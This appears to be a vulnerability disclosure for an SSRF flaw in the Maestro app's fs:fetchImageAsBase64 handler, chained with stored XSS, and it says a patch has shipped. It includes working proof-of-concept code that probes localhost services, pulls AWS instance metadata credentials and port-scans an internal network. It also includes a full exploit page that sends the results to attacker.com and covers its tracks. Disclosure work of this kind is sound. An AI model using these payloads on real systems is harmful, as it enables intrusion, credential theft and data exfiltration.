Stored XSS to SSRF

A Server-Side Request Forgery (SSRF) vulnerability exists in Maestro’s’s fs:fetchImageAsBase64 IPC handler. The handler accepts arbitrary URLs from the renderer process and performs HTTP requests using Node.js’s native fetch() without URL validation. This allows attackers with JavaScript execution (e.g., via XSS) to probe internal networks, access localhost services, and potentially steal cloud credentials.

update: this is issue is now patched in Maestro release 0.15.0-RC

Vulnerability Details

Affected Component

File: src/main/ipc/handlers/filesystem.ts

ipcMain.handle('fs:fetchImageAsBase64', async (_, url: string) => {
    try {
        const response = await fetch(url);  // No URL validation!
        if (!response.ok) {
            throw new Error(`HTTP ${response.status}`);
        }
        const arrayBuffer = await response.arrayBuffer();
        const buffer = Buffer.from(arrayBuffer);
        const base64 = buffer.toString('base64');
        const contentType = response.headers.get('content-type') || 'image/png';
        return `data:${contentType};base64,${base64}`;
    } catch (error) {
        logger.warn(`Failed to fetch image from ${url}: ${error}`, 'fs:fetchImageAsBase64');
        return null;
    }
});

Exposed API

Preload: src/main/preload/fs.ts

fetchImageAsBase64: (url: string) => ipcRenderer.invoke('fs:fetchImageAsBase64', url)

Renderer Access:

await window.maestro.fs.fetchImageAsBase64('http://internal-server/secret-data');

Root Cause

The handler lacks any URL validation:

  • No protocol whitelist (http/https only)
  • No hostname/IP blocklist (localhost, private ranges, metadata endpoints)
  • No domain allowlist
  • Response content-type is not validated (despite function name suggesting images)

Proof of Concept

Attack Chain Integration

This SSRF can be chained with vuln-0005 (XSS) for remote exploitation:

┌─────────────┐     ┌─────────────┐     ┌─────────────┐     ┌─────────────┐
│  vuln-0001  │     │  vuln-0002  │     │   Internal  │     │  Attacker   │
│  Stored XSS │────▶│    SSRF     │────▶│   Network   │────▶│   Server    │
│             │     │             │     │   Services  │     │             │
└─────────────┘     └─────────────┘     └─────────────┘     └─────────────┘
      │                   │                    │                   │
      ▼                   ▼                    ▼                   ▼
  Meta refresh     fetchImageAsBase64    Localhost:8000      Exfiltrate
  to exploit.html  ('http://127...')     AWS metadata        credentials

Test 1: Access Localhost Service

Target: Python HTTP server on localhost:8000

const response = await window.maestro.fs.fetchImageAsBase64('http://127.0.0.1:8000/');
const base64Part = response.split(',')[1];
const decoded = atob(base64Part);
console.log(decoded);

Result:

<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href=".DS_Store">.DS_Store</a></li>
...

Test 2: Access Chrome DevTools Internal API

Target: Chrome DevTools JSON endpoint (bound to localhost)

const response = await window.maestro.fs.fetchImageAsBase64('http://127.0.0.1:9222/json');

Result:

[ {
   "description": "",
   "devtoolsFrontendUrl": "/devtools/inspector.html?ws=127.0.0.1:9222/devtools/page/...",
   "id": "CD7829512081A2C51DDB08936C938943",
   "title": "Maestro - Agent Orchestration Command Center",
   "type": "page",
   "url": "file:///Applications/Maestro.app/...",
   "webSocketDebuggerUrl": "ws://127.0.0.1:9222/devtools/page/..."
} ]

Attack Scenarios

Scenario 1: Localhost Service Exploitation

An attacker chains XSS (vuln-0005) with SSRF to access localhost-only services:

// Access local database admin panel
const dbAdmin = await window.maestro.fs.fetchImageAsBase64('http://127.0.0.1:5984/_utils/');

// Access local Docker API
const containers = await window.maestro.fs.fetchImageAsBase64('http://127.0.0.1:2375/containers/json');

// Access local Kubernetes dashboard
const k8s = await window.maestro.fs.fetchImageAsBase64('http://127.0.0.1:8001/api/v1/namespaces');

Scenario 2: Cloud Credential Theft

If Maestro runs on AWS EC2:

// Get IAM role name
const roleName = await window.maestro.fs.fetchImageAsBase64(
    'http://169.254.169.254/latest/meta-data/iam/security-credentials/'
);

// Get temporary credentials
const creds = await window.maestro.fs.fetchImageAsBase64(
    `http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName}`
);

// creds now contains AccessKeyId, SecretAccessKey, Token
// Attacker can use these to access AWS resources

Scenario 3: Internal Network Scanning

// Port scan internal network
async function scanPort(ip, port) {
    try {
        const r = await Promise.race([
            window.maestro.fs.fetchImageAsBase64(`http://${ip}:${port}/`),
            new Promise((_, rej) => setTimeout(() => rej('timeout'), 1000))
        ]);
        return r !== null;
    } catch { return false; }
}

// Scan common ports on internal network
for (let i = 1; i <= 255; i++) {
    const ip = `192.168.1.${i}`;
    for (const port of [22, 80, 443, 3306, 5432, 6379, 8080]) {
        if (await scanPort(ip, port)) {
            console.log(`Found: ${ip}:${port}`);
        }
    }
}

Scenario 4: Exfiltrate Internal Data

// Fetch internal wiki/docs
const internalDocs = await window.maestro.fs.fetchImageAsBase64('http://internal-wiki.corp/');

// Fetch from internal API
const apiData = await window.maestro.fs.fetchImageAsBase64('http://api.internal:3000/users');

// Send to attacker
fetch('https://attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify({ docs: internalDocs, api: apiData })
});

PoC exploit page

<!DOCTYPE html>
<html>
<head><title>Maestro</title></head>
<body>
<script>
(async function() {
    const results = {};
    
    // Scan for common localhost services
    const targets = [
        'http://127.0.0.1:3000/',      // Node.js apps
        'http://127.0.0.1:5432/',      // PostgreSQL
        'http://127.0.0.1:6379/',      // Redis
        'http://127.0.0.1:8080/',      // Common HTTP
        'http://127.0.0.1:9200/',      // Elasticsearch
        'http://169.254.169.254/latest/meta-data/',  // AWS
    ];
    
    for (const url of targets) {
        try {
            const r = await window.maestro.fs.fetchImageAsBase64(url);
            if (r) results[url] = atob(r.split(',')[1]);
        } catch {}
    }
    
    // Exfiltrate to attacker
    navigator.sendBeacon('https://attacker.com/ssrf-results', JSON.stringify(results));
    
    // Redirect back to hide attack
    setTimeout(() => window.history.back(), 1000);
})();
</script>
</body>
</html>